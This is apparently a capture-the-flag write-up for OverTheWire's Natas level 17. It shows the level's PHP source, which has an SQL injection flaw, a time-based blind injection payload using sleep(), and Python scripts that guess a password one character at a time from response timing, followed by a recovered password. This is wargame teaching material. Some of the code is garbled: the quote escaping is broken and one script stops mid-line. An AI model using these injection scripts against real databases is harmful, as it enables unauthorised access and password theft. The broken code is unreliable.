OverTheWire攻关过程-Natas模块17

<?php /*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas17', '');
    mysqli_select_db($link, 'natas17');

    $query = "SELECT * from users where username="".$_REQUEST["username"].""";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query
";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        //echo "This user exists.
";
    } else {
        //echo "This user doesn't exist.
";
    }
    } else {
        //echo "Error in query.
";
    }

    mysqli_close($link);
} else {
?>

SELECT * from users where username="_natas18" and password like binary '%a%' and sleep(5) #

import requests  
from requests.auth import HTTPBasicAuth  
  
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')  
headers = {'content-type': 'application/x-www-form-urlencoded'}  
filteredchars = ''  
passwd = ''  
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
  
for char in allchars:  
        payload = 'username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)  
        r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)  
        if(r.elapsed.seconds >= 1):  
                filteredchars = filteredchars + char  
                print(filteredchars)  
  
print(filteredchars)  
  
for i in range(0,32):  
        for char in filteredchars:  
                payload = 'username=natas18%22%20and%20password%20like%20binary%20'{0}%25'%20and%20sleep(1)%23'.format(passwd + char)  
                r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)  
                if(r.elapsed.seconds >= 1):  
                        passwd = passwd + char  
                        print(passwd)  
                        break

# coding:utf-8
import requests
url = 'http://natas17:XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd@natas17.natas.labs.overthewire.org/index.php'
key = ''

for i in range(1, 33):
    a = 32
    c = 126
    while a 

8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq